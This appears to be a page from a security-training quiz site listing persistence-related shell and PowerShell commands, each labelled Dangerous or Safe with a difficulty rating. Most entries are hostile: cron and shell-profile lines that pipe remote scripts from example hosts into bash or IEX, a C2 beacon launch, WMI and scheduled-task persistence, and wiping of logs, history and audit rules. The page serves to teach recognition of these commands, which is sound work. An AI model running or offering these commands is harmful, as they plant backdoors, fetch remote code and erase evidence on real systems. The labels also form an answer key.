← ReflexSec
Persistence
Every command ReflexSec uses, with the explanation behind the call. No timer — read at your own pace.
AllFile SystemNetworkingPrivilege EscalationPersistenceCredential AccessData ExfiltrationProcess ExecutionShellContainersCloudGit / DevelopmentLinuxmacOSWindowsPowerShellPythonJavaScript / NodeDockerKubernetesCI/CDWeb Security
- Dangerous
truncate -s 0 /var/log/auth.logIntermediate - Dangerous
history -c && export HISTFILE=/dev/nullIntermediate - Dangerous
echo '* * * * * /tmp/.update' | crontab -Intermediate - Dangerous
ln -sf /dev/null ~/.bash_historyIntermediate - Dangerous
New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name Updater -Value 'C:\Users\Public\svc.exe'Advanced - Dangerous
echo '*/5 * * * * root curl -s https://example.com/c | bash' | sudo tee -a /etc/cron.d/syncExpert - Dangerous
:> /var/log/syslogAdvanced - Dangerous
echo 'source /tmp/.profile.sh' >> ~/.bashrcAdvanced - Dangerous
launchctl load -w ~/Library/LaunchAgents/com.example.updater.plistExpert - Dangerous
echo 'export PROMPT_COMMAND="curl -s https://example.com/b|bash"' >> ~/.bash_profileNightmare - Dangerous
systemd-run --on-calendar='*:0/10' --unit=metrics-refresh /usr/local/bin/refreshNightmare - Dangerous
(crontab -l 2>/dev/null; echo "*/5 * * * * cd /srv/app && ./scripts/agent-fix.sh") | crontab -ProNightmare - Dangerous
jq -r 'to_entries[] | "export \(.key)=\(.value)"' app-env.json > /etc/profile.d/app.shProAdvanced - Dangerous
awk '{print > "/etc/cron.d/" $1}' jobs.txtProExpert - Dangerous
apt-get install -y --allow-unauthenticated app-agentProIntermediate - Safe
crontab -l > crontab.backupProIntermediate - Dangerous
crontab -rProExpert - Dangerous
Register-ScheduledTask -TaskName 'SystemCheck' -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Action (New-ScheduledTaskAction -Execute 'pwsh.exe' -Argument '-w hidden -f C:\Users\Public\s.ps1')ProExpert - Dangerous
Add-Content $PROFILE.AllUsersAllHosts -Value 'IEX (irm https://cdn.example.com/p.ps1)'ProNightmare - Dangerous
Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{Name='SysCheck'; EventNamespace='root\cimv2'; QueryLanguage='WQL'; Query='SELECT * FROM __InstanceModificationEvent WITHIN 60'}ProNightmare - Dangerous
sudo auditctl -DProAdvanced - Safe
crontab -l | grep -v 'rt-2026-014' | crontab -ProExpert - Dangerous
sudo systemctl enable rt-beacon.serviceProExpert - Dangerous
for h in $(cat foothold-hosts.txt); do ssh $h 'journalctl --rotate && journalctl --vacuum-time=1s'; doneProNightmare - Dangerous
nohup ./rt-beacon --c2 c2.example.net >/dev/null 2>&1 &ProNightmare - Safe
sudo crontab -l -u intruder > /evidence/ir-2026-004/intruder-cron.txtProAdvanced - Dangerous
chattr -i /etc/passwdBeginner - Dangerous
sudo crontab -r -u deployBeginner - Dangerous
cp /dev/null /var/log/secureBeginner - Dangerous
history -c && cat /dev/null > ~/.bash_historyBeginner